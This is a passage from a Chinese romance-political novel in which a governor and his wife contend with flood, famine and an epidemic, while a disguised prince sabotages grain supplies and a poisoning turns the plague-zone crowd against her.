那气息温热若羽,拂过耳根脖颈,叫楼弃心头莫名乱了几许。他不敢乱动,只强自镇定,步伐却不自觉慢了几分。
下山口就在眼前。
忽然,前方转角处,有一队军士正将几捆木料卸下,领头之人身形挺拔,正低头查看堤石,正是姬阳。
姜辞一眼看见他,心头一紧,连忙低声说道:“你快放我下来。”
楼弃眼底闪过一丝笑意,嘴角勾出一抹不易察觉的坏意,他似笑非笑地问:“姜姑娘,你说什么?”
那声音不轻不重,
却恰到好处地传到了不远处的姬阳耳中。
姜辞气恼,抬手在他肩膀上轻轻锤了一拳,羞恼低声:“你别胡来!”
恰在此时,姬阳抬头,目光一凝,正看见楼弃背着姜辞走来,姜辞低头伏在他背上,面颊泛红,鬓发微乱。
四目相对的一刹,楼弃抬眼看向他,唇角仍挂着那抹玩世不恭的笑意,眼底却藏着一丝耐人寻味的挑衅。
第39章
只见姬阳快步而来,衣襟带风,眉眼沉如暮色。他走近几步,眼神冷得几乎能凝出冰碴:“本都督的夫人,就不劳你费心了。”
话音刚落,他不由分说上前,伸手便将姜辞从楼弃背上抱了下来。
姜辞一惊,下意识挣动了一下:“我自己能下去。”
姬阳却只是低头看了她一眼,神情冷峻,不容反对,打横抱着她大步离开,步履沉稳,丝毫不给旁人再多看一眼的机会。
楼弃站在原地,望着他们背影,半晌没动,唇角却缓缓勾起一抹意味不明的笑。
片刻后,姬阳将姜辞带至山脚一处歇息的岩石旁,才缓缓将她放下。
他站直身,俯视着她,语气低沉中带着压抑的怒意:“你怎么能叫别的男子背你?这成何体统?姜辞,你让我脸往哪儿放?纵使我们之间再无感情,你也不该做出这种事,让我在将士面前难堪。”
姜辞微仰着头看他,脸上透着倦意,语调却冷静:“我又不知道你在此处。他只说这条小道下山快,我脚伤了,总不能叫人折返回去专门找你吧?再说了……你说得好像真去找你,你就会背我下山一样。”
她话音未落,姬阳已抿唇低声回道:“你怎么知道我不会?”
这句话让姜辞怔了一下,怔怔望着他,一时无言。
姬阳没再多说,半跪下来,轻轻抬起她受伤的脚踝。指腹轻柔地在她鞋边一探,他蹙起眉头:“肿得不轻。”
他解开她的鞋袜,从怀中取出一瓶小瓷瓶,拧开后倒出些药膏。
姜辞看着他,声音低低地问:“你做什么?”
“别乱动。”
他说得平静,却带着不容拒绝的语气。
他指尖沾着药膏,小心地涂抹在她脚踝肿起处,动作既娴熟又轻柔,连力道都控制得刚好,不至于引起太多痛感。
姜辞凝视着他低垂的眉眼,只觉得他此刻竟有一种陌生的耐心与温柔。她不由伸手,指尖拂过他额头,轻轻拭去那一片沾着的灰泥。
姬阳蓦地抬头,目光与她交汇。
那一瞬,风停了,光也静了。
他额间还能感到她指尖残留的温度,两人之间仿佛只隔着一线气息,谁都没说话。
“你脸上脏了。”她低声道,说完便别过脸去,像是不敢再多看一眼。
良久,姬阳低下头,继续为她上药。包扎完毕,又替她穿好鞋袜,才说道:“疫病之事……多谢你。你本不用做这些。”
姜辞却打断他,声音平静:“是我自己愿意的。”
他没说话,只盯着她看了片刻,低头继续替她涂完药,接着拿起她落在一旁的鞋袜。
他将鞋袜帮姜辞穿上,从脚跟按住她的脚腕,扶正脚尖,从身上扯下一个布条,在从路边捡来两个木棍,将姜辞脚踝处固定,轻轻包好。
姜辞一开始是想躲的,但他语气平静:“别乱动。”
她只得由他动作。
“这药是军医特配的,明日就能走路。但今日你别想再跑来跑去了。”
说完又把她抱起,姜辞靠在他怀中,微偏着头,忽然轻声问:“前几日,我门口那瓶药,也是你留下的吧?”
这话一出,姬阳像是被轻轻一敲,竟有一瞬语塞。
他别开脸,低声咕哝:“什么药?我听不懂你说什么。”
姜辞没再追问,只将脸轻轻埋入他肩头,睫毛垂下,嘴角悄悄勾起一丝笑意。
姬阳一路将姜辞抱回疫区,走至临近时,他忽然顿住了脚步,抬头望向西方苍茫天际,沉声问道:“等宁陵的事告一段落,你可想去凉州看看?”
这一句轻描淡写,却如一道闪电骤然击在姜辞心头。
她怔了怔,原本半倚在他怀中的身体不由自主微微一紧。凉州两个字一出口,太多封尘的记忆便仿佛潮水般涌来。
她曾以为,自己嫁到汀洲,便是与凉州一刀两断,此生再无回去的可能。
她没料到,这句原本盘桓在心底、准备日后郑重开口的话,竟由他先一步说出。
原想着,等疫病控制住了,她会向他提出前往凉州的请求,哪怕姬阳未必愿意,念在她这段时日不眠不休救治百姓的情分上,也总不至于拒绝得太过决绝。
可眼下,他却主动提及。
他为何要说这句?是出于一时感念?还是,又一次试探?
姜辞心中翻涌诸般念头,却在他望来的一瞬,全然收敛。她抬眼迎视他的目光,缓缓点头:“我想。可以吗?”
姬阳语气不动声色,仿佛只是说了一件微不足道的事:“当然。”
他步履沉稳,怀中之人很轻。可他手臂收得极紧,像是生怕她再摔一下。
才刚踏进疫区边缘,姜辞便忍不住低声催道:“你快放我下来吧,这里是疫区,你别进来了。万一染疾倒下,水患堤坝那些人怎么办?”
姬阳却像未听见般,自顾自地继续往前走,眉眼冷肃,一丝不苟。直到将她送入那处临时搭建的小棚,他才缓缓弯腰将她放下。
“你就住在这种地方?”他声音低哑,眼神扫过棚内陈设,草席、薄被、木盆、药盏,一应简陋,“也太危险了。”
姜辞正想起身,却被他按住肩膀。
“今日你不许再走路了,有事就叫银霜去办。”
她刚想反驳,姬阳却看着她,语气难得带着一丝柔意:“你都不怕,我又怎么能怕?况且……我相信你能治好他们。”
姜辞一怔,心头微震。
他这句话,没有嘲讽,也无命令。只是一句真心的信任。
她微微垂下眼睫,点了点头。
姬阳站起身,揉了揉肩膀,为她把棚帘掀好,才道:“有事你就叫银霜去办,如果人手不够,随时告诉我,我再给你调配一些来。”
说罢,他转身离去,背影干净利落。
姜辞望着他离开的方向,心口仿佛被什么触摸了一下。
那一刻,她忽然觉得,自己并非孤身一人。
第二日清晨,天光微亮。
姬阳才起身披衣,营帐外便传来一阵嘈杂之声。初时只是零星几句低语,眨眼之间却越聚越多,夹杂着叫喊与哭号,喧哗如潮。
他眉头微皱,唤人将门帘揭开,只见营地外围黑压压一片,百姓挤满了道口,手举木碗布袋,神情或焦急或愤懑,竟将东阳军驻地围得水泄不通。
裴承绪正立于外圈,脸上堆着苦笑,一边安抚人群,一边与几名兵卒低声商议,额角满是汗珠。
“你们先别吵,都督大人正在想法子,粮一定会发的!”
“发什么发?我们家里老娘病倒三天了,就等这一口粮撑命呢!”
“城里早说第五日要发粮,如今拖了两天,一口热饭都没见着,郡守大人您是打算让我们饿死在这儿不成?”
“我娘连着吃了几顿野草糊,今天早晨都吐血了,你们有命吃军粮,我们命就贱吗?”
“要么现在就发粮,要么我们全进营里抢了!”
人声鼎沸,情绪激烈。更有几个村汉手持锄柄,已经开始敲打营栅外桩,士兵上前喝止,几度推搡,眼见就要演变成冲突。
姬阳快步走出,望见这一幕,眸色一沉,径直走到裴承绪身旁,寒声问道:“这是怎么回事?”
郡守拱手,面色为难:“都督,是我的疏忽。前些日子大雨冲毁了两座粮仓,眼下宁陵城中百姓,连同周边数十里村庄,全靠府库余粮勉力支撑。您来时就核过账,粮草最多支撑六日。昨日已是第七天,今日粮断,百姓饿急了,自然……自然就来了。”
“昨日未发,今日为何还不发?”
“因为我们已经无粮可发。”
姬阳语气冷厉:“那丰都送来的粮呢?何时到?”
裴承绪面露迟疑,欲言又止。
此时,陆临川也自军
帐中闻声而来,皱眉道:“主公,我昨夜夜观天象,西北暗星聚气,怕是这几日还有一场大雨。若堤坝不及早修筑,届时不只是水淹良田,怕是连城中也难保无虞。”
姬阳冷声点头:“召军中统事来。”
须臾,统事匆匆赶来,压低声音在他耳边禀报:“主公,军中粮草还可撑三日,但若今日照百姓数目全数发放,恐怕今晚将士们连口干粮都无。”
姬阳面色微变,刚要出声,远处又一道脚步急促而来。
“主公!”杜孟秋带着风尘之气奔至,一进营门便拱手低声道:“属下刚得密报,丰都调来的粮草,在途经西岭时遭遇伏击,七成粮被劫,仅余少部分正在押运途中,恐也难支太久。”
“你说什么?”姬阳声音如锋,“谁敢劫我们东阳军救灾的粮?”
杜孟秋道:“暂不知来路。因宁陵原桥毁坏,丰都改走西岭之道,地势偏僻,消息封锁得迟了。”
一连串的打击让众人皆默。
远处百姓仍在怒吼:“郡守大人,您说发粮,如今却食言,我们都不干了,谁也别想修堤!粮都不给,我们凭什么听你们调遣?”
“我家四口人还等着这口粮撑命!再不发,今儿就冲了这军营!”
事态愈演愈烈,连士卒都开始低声议论,局势仿佛风前残烛,一触即乱。
陆临川咬牙道:“若此刻不尽快动工,宁陵城怕是真要被困水中。但民心若乱,再想调配人力就难了。”
姬阳目光一凝,低声问:“越白呢?”
越白闻声至,拱手:“主公。”
姬阳沉声道:“即刻快马回丰都,调下一批军粮,同时查是谁劫了我们的粮草。无论是山贼流寇,还是旁支势力,务必查清来路。”
越白抱拳领命而去。
姬阳望着那越聚越紧的百姓,沉声开口:“将军中干粮,先发给百姓一半,先稳住人心。”
杜孟秋一惊:“主公,那我们将士今日就……”
姬阳冷道:“我们还有行军用粮,先顶一日!将士若无饭吃,也比这整座城乱了强。”
他眸光一转:“堤坝一日动不了工,咱们几日后就等着与百姓一同淹死在这宁陵泥泽里。”
军中众将皆面色一紧,陆临川当即抱拳:“属下明白,必在今夜前动工一半。”
姬阳点头,转身上马,高声喝令:“所有人听令,营中发粮,郡守协助登记,动用周边村长佐吏按户配比,务必公平分发。”
语罢,他回望营门外翻涌的百姓,眸色如刀:“从这一刻起,百姓与兵卒,同在一城,同吃一锅饭。”
人群中一片安静,有老妪眼中泛泪,有汉子松手扔下锄柄,也有人抽泣道:“都督大人肯与咱们一同熬……那咱也就听命修堤!”
紧接着,有人低声说道:“吃好了就跟着都督一起去修渠。”
气氛在瞬间改变,先前叫嚣的怒意逐渐平息,有百姓开始主动排起了队。
城中客栈内,夜色沉沉。
一盏青灯在桌上轻轻晃动,映得屋中微光忽明忽暗。楼弃背负双手,立于窗前,眸色深沉如墨,望着远方黑影重重的天边,像是在思索,又像在等待。
风过窗棂,吹动他鬓边发丝。
忽然,房门轻响,一名男子戴着斗笠、身披短褐,悄然推门而入。他低头关上门,旋即“砰”地一声单膝跪地,低声道:
“燕王殿下,属下已按令行事。我们在西岭设伏,劫下东阳军运粮马队一行。大半粮草已转移藏妥,只是……他们押运兵力多于预料,属下等未能全数拦截。”
“不过——”他语气一顿,“余粮草也不过杯水车薪,就算运到也撑不过三日。即便再有援粮,也只能勉强解困,却难以长续。”
话音未落,楼弃已倏然转身,面色森冷。
下一瞬,他一脚踹出,正中那人胸口,将其踹翻在地。
那人闷哼一声,口中泛出血腥气。
“没能全部拦下?你觉得我让你去西岭是为了走个过场吗?”
楼弃俯身,声音冷到极点:“我需要的是绝粮之困,让姬阳寸步难行,而不是让他还有余粮苟延残喘。”
地上的人不敢抬头,只伏在地上低声道:“属下无能,请殿下责罚。”
楼弃却已转身,重新站回窗前,眼眸深处闪过一抹阴沉的锐芒。他冷笑一声:
“废物,自己去领罚。”
夜色沉沉,乌云厚重如铅,堤坝边却依旧灯火未息。
姬阳披着一身风尘,衣襟早被汗水与泥污染得看不出颜色。他手中执着锄把,与东阳军一道搬土砌堤。百姓也跟着一铲一铲地填土,尽管动作缓慢,却都默默坚持。
时间悄然推至深夜。
堤边一片沉默,唯有铁锹入泥、土石翻动的声音。
忽而,有人在昏暗中低声抱怨:“太累了……我们都干一天了,腰都直不起来了。”
“是啊……都督不是说修完这段就歇么,怎么还不停?”
细细碎碎的怨声像水草一样在黑夜中悄悄滋生。
姬阳站在一块石头上听得分明,眉心微皱,眼眸扫过众人,见他们有的已扶腰喘气,有的蹲在地上不愿动弹。
他沉默片刻,终于开口:“今日到此为止。所有人,先回营休整。”
此言一出,众人如释重负,纷纷放下手中工具,扶着彼此往回走去。
回到营帐内,火盆边挤满了人。士兵与百姓席地而坐,每人手中不过一小块干粮,浸泡在热水中软化后分而食之。有人咽下时还呛了水,却只能咧嘴苦笑。
姬阳也捧着一碗,坐在帐前,片刻未语。
他额角青筋微跳,手指紧按太阳穴,头痛如锥。他已几夜未好好休息,城中粮草、疫病、堤坝、民怨……样样悬在眼前。
忽然,一名军士掀帘而入,抱拳道:“启禀都督,夫人那边来报,疫区已有大半病患退热,情况好转,死亡人数今日为零。”
姬阳抬眼,怔了片刻,似是忽然松了口气,整个人靠在木椅上,像是卸下了一层沉重。
“终于……”
这时,陆临川走进来,手里捧着一卷刚绘好的草图,坐到姬阳身边。
他斟了一口茶,沉声开口:“子溯。”
“嗯?”
“你要不要写封信,给凉州。”陆临川看着他,目光深沉。
“凉州就在河对岸,从水路绕过去只需三日。只要你写信,不出五日,凉州的粮就能运来。”
第40章
营帐一瞬寂静。
姬阳握着茶盏的手微微一顿,唇角沉了沉,似有犹豫。帐中灯火跳跃,他的神情半沉在光影中,未言一语。
陆临川继续劝道:“我知道你不喜凉州的一切,更不愿向姜怀策低头。但眼下,你还有别的法子吗?凉州地势高、连年丰收,自古少有水患,如今宁陵告急,难道你真要坐看百姓断粮,将士困乏?”
他顿了顿,语气低了些:“你为何就是不肯……”
“研墨。”姬阳忽然开口,打断了他。
陆临川一怔,旋即面上露出喜色:“我这就研墨。”
姬阳倚在几案前,目光沉静却带着些说不清的疲惫与坚定:“行舟,我们已走到穷途末路了。我也明白,所谓尊严与脸面,在百姓生死面前,一文不值。你不用再劝,我想明白了——为将来计,今日这膝盖,我必须得弯。”
姬阳坐在案前,眉心紧锁,手中信纸已写至尾句。他按住信角,深吸一口气,刚要封入信封,忽听帐外脚步声疾至,随即一名军士掀帘而入,满面喜色,气息尚未平稳便大声禀道:
“都督!好消息!凉州来人了!凉州孟使君……就在帐外!”
姬阳微愕,抬眼盯着士兵:“谁?”
“孟……孟啸使君,凉州来的。正是您的姐夫!”
姬阳目光一凛:“我的姐夫?”
士兵吓得立刻改口:“是……夫人的姐夫,属下失言。”
姬阳沉默半晌,将那封未封的书信放回案上,起身
道:“请。”
片刻后,一人掀帘而入。身着青袍、佩有使节铜符,正是孟啸。
孟啸拱手行礼:“都督,凉州调拨的粮草与药材已就绪,此刻便在渡口装船,最迟今日午后可尽数送达。”
姬阳上前两步,语气冷静:“你怎么会来得如此及时?是谁命你来的?”
孟啸含笑道:“三日前,紫川府上收到我夫人妹子姜辞的一封急信,说宁陵疫病暴发、百姓断粮,情况危急。我岳丈当夜便令我前来先行探路,并调集离宁陵最近三郡余粮先行送来,后续从紫川出发的大批粮草也会陆续抵达。”
姬阳神色一动:“她写信求援了?”
孟啸点头,带着几分敬佩道:“是。信上字字急切,却无一字为己,满篇所言皆为百姓与将士性命安危。”
帐中一片寂然。
姬阳低头看了眼桌上那封未送出的信,一时间竟说不出话来。他原以为一切艰难都要自己扛,未曾想,那女子竟已默默在他前头走了好几步。
陆临川此刻也走了进来,听完此言,不由低声感慨:“夫人这一封书信,救得不止是宁陵,还有你。”
姬阳坐下,掌心拂过案上字迹,喃喃道:“我竟然不知,她竟然还有一个姐夫……”
孟啸笑了笑:“都督,您怕是不知道,我与阿潋是上月才成婚,这段亲事也是去岁才定下来,夫人怕未得禀告于您。”
姬阳挑眉:“那就有劳孟……姐夫了。”
孟啸抱拳退去,说道:“我这就去盯着他们渡河。”
陆临川忽然感慨出声:“子溯,此姻联得好。你总说当初是政令压身、无奈成婚,如今看来,她比世上多数女子都更懂你所担、知你所忧。”
姬阳翻了陆临川一眼:“你当初还说‘美人误国’呢。”
姬阳缓缓闭上眼,许久,才低声道:“明日一早,让将士们行至十里渡口迎粮。”
他靠在椅背,终于松了口气。
今夜,苦撑已久的汀洲城,终于等来了生机。他从未想到,这份生机,是自己最不愿面对的人,不声不响替他铺下的退路。
第二日清晨,疫区。
姜辞正蹲在火堆边,与几位大夫一同熬煮汤药,热浪蒸腾,药香弥漫。众人皆戴着面巾,手脚麻利地分工协作,数口大锅翻滚着汤药,药碗整齐摆放在长案之上。
姜辞将煎好的药一一指给守卫:“这个是预防疫病的,标签上有红线,分发给未染病者,那一锅是清热解毒,专供重症病人服用,不可混淆。”
她说罢起身,活动了一下僵硬的脖颈,额角沁出一层薄汗。
银霜端着一只空碗走来,脸上透着欣慰:“小姐,您连着几日在这里没怎么闭眼,如今总算没白费功夫,病人们的热退了不少,能吃能喝的也多了,已经开始慢慢恢复了。”
姜辞望着东侧原先重症区,那处帐篷原本人满为患,如今已有不少腾出空地。
她唇角微扬,眼中闪着光:“是啊,再坚持一下,凉州的药材应该要到了,到时候分发给各个药铺,他们只要不喝生水、不进疫地,大家就能慢慢好起来。今晚也能歇一歇了,回府让晚娘做顿热的。”
银霜也笑着点头:“我要吃酱烧猪蹄,您呢?”
“凉拌萝卜丝、炖鸡汤……还有软糯的米饭。”姜辞一边说,一边望着初升的朝阳,久违地感受到希望的暖意。
可这份宁静并未持续太久。
“快来人——有人晕过去了!”
“啊——怎么回事,他怎么吐血了?!”
人群中忽然传来阵阵惊呼,一名少年正扶着母亲跌跌撞撞地冲出帐篷,母亲脸色灰败,双目翻白,口角溢出黑血。随后,接连几处病棚中亦传出喧闹。
“他刚刚还好好的……怎么突然抽搐了?”
“是药的问题!是不是药熬错了?!”
惊慌在人群间迅速蔓延,不到半刻钟,已有四五人倒地,几个大夫上前探诊,神色骤变。
“中毒症状,急性发作……”
“快,快叫夫人来!出事了!”
姜辞闻讯赶来,一眼就看见倒地的几人,口唇乌黑,面色青灰,她心头骤然一紧,蹲下探查脉息,脉象混乱、气息衰微,赫然是中毒之症。
“怎么会这样……我们熬的药材明明都亲自检查过……”
她下意识地望向药案,却见被打翻的药桶旁,正是她亲手分发的清热解毒方。
“是你熬错药了吧?!你个女骗子!杀人了你知道吗!”
“之前我们就说了,哪里来的女大夫?!果然害人!”
一石激起千层浪,怒火在疫区中瞬间燃起,众人围拢而来,怒骂声不绝。
“她是都督派来的吧?假大夫!让我们吃毒药!”
“我弟弟昨天才喝完你给的药,今天就没醒过来,你得给我一个交代!”
“杀人偿命!你一个女子装什么救世?!”
姜辞僵立在原地,指尖冰凉,浑身像是被重锤狠狠砸了一下。她想解释,张口,却发现喉咙干涩。
“我……我们没有弄错……药材都是……我检查过……”
可她越解释,众人越是愤怒。
“别装了!原本你不就是想做什么功德、给自己添彩?这下好了,出人命了!”
“都督估计也是被这个女人迷惑了!就是一个狐狸精!”
银霜急得上前护住姜辞,大喊道:“我们夫人根本没做错,她日日熬药、夜夜查方,几天没合眼!怎么可能下毒!你们冤枉她!”
可四周的嘈杂淹没了一切,众人越涌越近,像要将她吞没。
姜辞望着地上尚有余温的病人尸首,心头仿佛被刀剜一般,眼神空茫。
她知道出了问题,可问题究竟出在哪里?是她、是药材、还是……
苏玉站在人群边缘,冷眼旁观着眼前的混乱局面。
她眼尾微挑,嘴角甚至还噙着一丝兴味,看着百姓的愤怒一点点发酵,有人已经气得拿起石头、木棍,甚至抄起铁锅柄,一边咆哮着“骗子”“杀人凶手”,一边向姜辞逼近。
而姜辞站在人群中央,毫无防备,甚至连躲的意思都没有,只是茫然地望着朝她而来的人群,像是未能从自责与惊愕中回神。
银霜袖中的刀已经滑落到掌心的时候,一声利刃出鞘。
人群中忽然冲出一道身影,长刀横扫,拦在姜辞身前。
楼弃身披墨袍,神情凌厉,刀锋寒光乍现,挡住了那挥来的棍子。
“住手。”他声音不高,却冷冽如风,“再往前一步,莫怪我不留情面。”
百姓被他这股杀意震住,一时间怔在当场,空气像是被凝住。
楼弃缓缓转头,目光扫过众人,道:“你们说她下毒,但你们忘了,她救了多少人?这几日,她寸步未离疫区,每一剂药都亲自盯着熬出来。若不是她,你们早在几日前就被烧尸的抬走了。”
他声音不高,却字字铿锵:“现在出事的人,并不多。药材采自山中,分发熬制的过程中人手复杂,也许只是有人误采了毒草,混入其中,并非她本意。此刻你们只凭一口咬定她是凶手,就要群起而攻之,良心何在?”
众人看着楼弃手中那把雪亮的长刀,一时间无人再敢上前,怒火虽未全消,眼中却显出迟疑。
姜辞这才从失神中回过神来,她低声说道:“燕少侠,多谢你。我怀疑,是药材被人动了手脚。”
楼弃皱眉:“你这几日亲自熬药,自然不会出错,肯定是分发或准备环节出了纰漏。”
话音未落,一阵脚步声疾疾而来。
东阳军破开人群,整齐列队,压迫感骤然袭来。众人下意识退开。
姬阳披着戎衣,自人群中稳步走来,眉目冷峻,目光一扫便落在刀光之下的姜辞与楼弃身上,面色当即一沉。
他原是特意前来想要感谢姜辞的,顺道接她去见她的姐夫孟啸,谁料竟撞上这一场混乱。
人群中不知谁喊了一句:“都督,是她,她给我们喝毒药!都死人了!”
“对啊,死了三四个了!我们亲眼看见的!”
“就是她,她夫人做的药害人了!”
一时间,叫喊如潮,群情汹汹。
姬阳未动,眼神却如锋刃一般扫过众人,冷声开口:“都闭嘴。”
短短三字,像是重锤砸下,所有喧哗顿时归于寂静。
他转身走向姜辞,语气克制着怒火:“到底怎么回事?”
姜辞抬头迎视他,神情坚定:“我不清楚。这几日我亲自选药、熬煮,并非胡来。甚至每一道流程我都检视过一遍,不该出错。”
“草药大多是我亲自采的,配方也是经过确认才用。”
楼弃在一旁点头附和:“应是中间有误将毒草混入所致,比如草乌之类,外形相似,若是误采,很容易出事。”
百姓中却忽然有个面生的人大喊:“我看是你们东阳军没粮了,干脆让都督夫人毒死我们,省些口粮!”
此言一出,人群立刻又躁动起来。
有人附和:“对!我们几天没吃饱了,他们不想发粮,就让我们喝毒药!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
40-50
第41章
姬阳神色猛地一沉,眼神锐利如刀,他猛然向前一步,声音低却极重:
“这就是你们对我夫人的回报?”
他转向百姓,一字一句道:“她冒着染病的风险,为你们日夜守在这里,你们居然怀疑她要毒死你们?”
众人神情复杂,有人惭愧低头,也有人依旧将信将疑,不敢直视他的目光。
姬阳一言不发地扫视一圈,沉声道:“我要彻查此事。若是有人混入了毒草,我会给你们交代。但在那之前——”
他目光落回姜辞身上,语气稍缓:“她,是无辜的。”
这句话如山岳落地,压下了所有人尚未出口的怨气。
楼弃收刀入鞘,神色平静,看了姜辞一眼,又看了姬阳一眼,似笑非笑。
姜辞不可置信地望着姬阳,仿佛一时间没能从刚才的动荡中回神。
他站在她身前,风尘未褪、满身戾气,却是她此刻最稳妥的屏障。
她伸出手,轻轻拉住他的衣袖。
指尖颤抖。
姬阳低头看着她,声音一如既往低沉,却带着少见的笃定与温和:“我相信一个能把百姓的命,看得比自己命还重的人,是做不出毒害百姓这种事的。”
他停顿了片刻,目光落在她略显苍白的脸上,继续道:“如果这真是你做的,那只能说,你演得太好了,连我也骗了。”
“但我不信你会骗我。”
“这件事我会彻查,不让你白白背下这口黑锅,也不会放过那个在暗处下手的人。”
话音落下,姜辞鼻尖一酸,眼眶早已泛红。
她低下头,不想让他看见自己眼底的湿意,可还是控制不住,有一滴泪悄无声息地落在尘土之中。
姬阳看在眼里,原本还冷硬的神情陡然变得有些手足无措。
他皱起眉头,语气不自觉带上几分烦躁:“都说了会查清的,你哭什么?”
说着,他下意识地伸手,粗鲁地用自己衣袖在她脸上胡乱一抹。
姜辞怔住。
那一抹并不轻柔,甚至有些粗糙,擦得她有点疼。
可她忽然就笑了。
眼泪还未干,却忍不住笑出声来。
“都督……”她轻轻唤了他一声,笑着摇头,声音里透着几分无奈与感动。
他还真是一点都不会和女人相处。
姬阳愣了一下,面上微微不自然地别开眼,轻咳一声,收回手:“你姐夫来了,你回府收拾一下,去见他吧,这里我会让我的人来查。”
“姐夫?你说孟公子?没想到他这么快就和姐姐成婚了。”
姬阳收回目光,转身面向围在周围、面色不安的百姓们,声音沉稳而清晰:
“至于有人说东阳军无粮可发,是为了故意制造混乱。”
他顿了顿,眸光如炬,一字一句道:
“纯属谣言。”
“我姬阳在此承诺,明日午时,准时发粮。只要我还在宁陵一日,就不会让你们中任何一个人挨饿。”
此话一出,原本躁动的人群像是被骤然浇下一瓢冷水,渐渐安静下来。
那些愤怒、焦躁、惊惧的目光中,终于多出一丝迟疑与安定。
“若查出真凶,我也不会轻饶,在这里的所有人,直到彻底查清之前,全部都不许出去。”姬阳补了一句,语气森冷。
百姓们面面相觑,有人低声附和:“都督既然发话了,那……兴许真是误会。”
“午时要发粮呢……”
“也不能冤枉了救过我们的姜大夫……”
人群的情绪渐渐平息,怒意随风而散。
楼弃立于一旁,他抬眸,目光掠过人头攒动的场间,在一角定住。
发粮?姬阳哪里有粮可发?
苏玉就站在人群边缘,微微皱着眉,朝他看过来。
二人视线交汇。
苏玉轻轻摇头,唇角动了动,传来一个无声的讯息——
“我也不知道是怎么回事。”
楼弃眼底闪过一丝微不可察的沉意,却没说什么,只是淡淡收回了视线。
姬阳护着姜辞一路走出疫区,临别前叮嘱道:“你和银霜回去好好洗漱,换身干净衣裳,晚些我会带孟啸来郡守府,让晚娘准备一桌菜,好好招待孟使君。”
姜辞点了点头:“好。”
姬阳交代完毕,刚欲转身离去,忽又顿住脚步,像是想起了什么。他回头,看着她的背影,唤了一声:“姜辞。”
姜辞转身:“嗯?”
姬阳顿了顿,终是低声开口:“凉州的粮草和药材,今日会悉数到达,谢谢你。我……欠你一个人情。”
话落,他不再多言,转身快步离去,背影挺拔而沉稳,消失在转角。
姜辞望着他离去的背影,忍不住轻轻一笑,低声自语:“谁稀罕你这个人情?我又不是为了你一个人做的,真是……自作多情。”
说罢,她牵起裙摆,与银霜一同回了郡守府。
几日未归,府中人早已翘首以盼。晚娘听闻她回了,一路小跑着迎上来。她一见姜辞,便立马攥住她的手,上下打量,眼眶竟有些泛红:
“姑娘,你瘦了,也憔悴了。”
银霜在旁不忿地插嘴:“可不是嘛,这宁陵的百姓,真真不讲理。小姐好心救他们,他们却两次三番地为难她,一个个盲目跟风,分不清青红皂白,真是……气死人了。”
姜辞柔声劝道:“好了,别说了。他们大多是泥腿子出身,没读过书,也不识字,情绪一激就容易被人煽动,又何必与他们计较些什么呢。”
银霜撇撇嘴,不情愿地哼了一声。
她们走进屋内,姜辞正欲坐下,晚娘接过银霜手中的衣裳,柔声说道:“你这些日子也辛苦了,去歇一歇吧,我来照顾姑娘,叫厨房备热水。”
银霜点点头,嘟囔着离开了。
热水不多时便被端入室中。姜辞褪下外衣,浸入浴桶,温热的水将她整个人都裹了进去。
她靠在桶壁上,闭着眼,脑中却难得安静不下来。
这几日发生的事一桩桩,一件件浮现在眼前:疫区的混乱、百姓的指责、草药中毒、楼弃拔刀相护……
她总觉得哪里不对。
猛地,她想到一人——苏玉。
姜辞睁开眼。初到疫区的时候,她协助诊脉,分阵营,压根没见过这
个苏玉,可后来她却忽然出现在她要去采草药那日,还说是来帮忙。
而且,她还是燕渡的妹妹。
“燕渡……”姜辞低声呢喃着那个名字,眉心微蹙。
他这几次,总是在自己最危急的时候出现:客栈刺杀那夜,他第一个冲上来;疫区动乱,也是他挡在自己面前。
这也太巧了。
她越想越乱,忽然抬手拿起湿帕,轻轻覆在脸上,闭上眼。
“算了,不想了。”她心中叹息。
姜辞洗漱完毕,歇了一个囫囵觉,等晚娘轻声推门进来时,窗外天色已近黄昏。她被叫醒时,尚有些睡意,睁眼茫然地看着窗边金红暮色。
晚娘走到床前,一边揭开被褥,一边笑着说:“今日发粮领药,那些百姓可把都督夸得跟什么似的。可明明是姑娘您去信求来的粮药,好事全叫他一个人收了。”她语气里带着一丝不忿,轻声嘟囔,“他要真有那份心,就该多体贴姑娘几分才是。”
姜辞低头慢慢坐起,披衣下床,淡淡回道:“晚娘,不必计较这些。他是整个东阳的都督,功劳归他,也无妨。我……其实也不想和他太近。现在这样就挺好,不必日日寒暄应对,各过各的,挺好。”
晚娘听她这般说,神色怔怔,却也不再多言,只默默帮她梳发穿衣。
正梳到一半,晚娘拿起了梳妆台上那朵素白纸绢折的小花,迟疑了一下,轻声问道:“姑娘,今日要见大姑爷,这个……还戴吗?”
姜辞接过白花,指尖捻着它柔软的边缘,目光一瞬凝滞。她沉默片刻,鼻尖忽然一酸,嘴角也垂了下去。
“他明明……那么好一个人,”她喃喃低语,脑海中浮现出姬栩芝兰玉树的身影,“老天为何偏要他……”
“姑娘!”晚娘忙打断她的话,语气急促,“这话不能乱说。大公子确实是个顶好的人,可生死有命,富贵在天……他若有灵,见姑娘如此守念,来世定会享尽福报。”
姜辞点了点头,强自按下情绪,将那朵白花亲自插回发间,对着铜镜理了理鬓角。
“我想……给大哥守丧。”
晚娘一怔,心中一酸,只轻轻应了一声“是”。
不久,姜辞与晚娘一道来到郡守府中东厢那间客座厅时,厅中灯火已明,饭菜也已摆好。孟啸与姬阳皆已入座,正低声交谈。
一见姜辞进来,孟啸便笑着起身招呼:“阿辞,来了便好,我还和都督说你许是歇着起不来呢。”
姬阳也起身站了片刻,目光扫过她发间那朵白花,微不可察地皱了皱眉,却未言语。
姜辞换了干净衣裳,虽洗去尘埃,气色却仍有疲惫之色。她盈盈福了一礼,声音温和而有些低哑:“姐夫,都督,让你们久等了。”
她在姬阳旁边坐下,一如既往地恭敬有度、分寸妥帖。
孟啸早已察觉姜辞与姬阳之间,并无寻常夫妻间的亲近,此刻饭局已过半,他笑着举杯,故意试探般说道:“都督,阿辞在信中说,她与夫君琴瑟和鸣,可见都督将我们阿辞照顾得极好。”
话音落下,姬阳握着筷子的手微顿,神色微不可察地僵了一下。他抬眸看了姜辞一眼,只见她低垂着头,指尖紧紧扣着杯沿,并未回应。
姬阳眼神微闪,仿佛被这“夫君”二字戳中了心事。
他干咳一声,道:“姐夫说笑了,夫妻本就应当如此。”说罢,垂眸低头,声音含着一丝不自觉的心虚。
孟啸见状,心中已有几分了然,却也不再点破。他本就知道这是场和亲之事,如今看来虽疏淡,却也无大难为,便算是阿潋交代得心安。
他微笑着将杯中酒饮尽,姬阳见状,主动替他满上,道:“再添一杯,谢姐夫远道而来解我燃眉之急。”
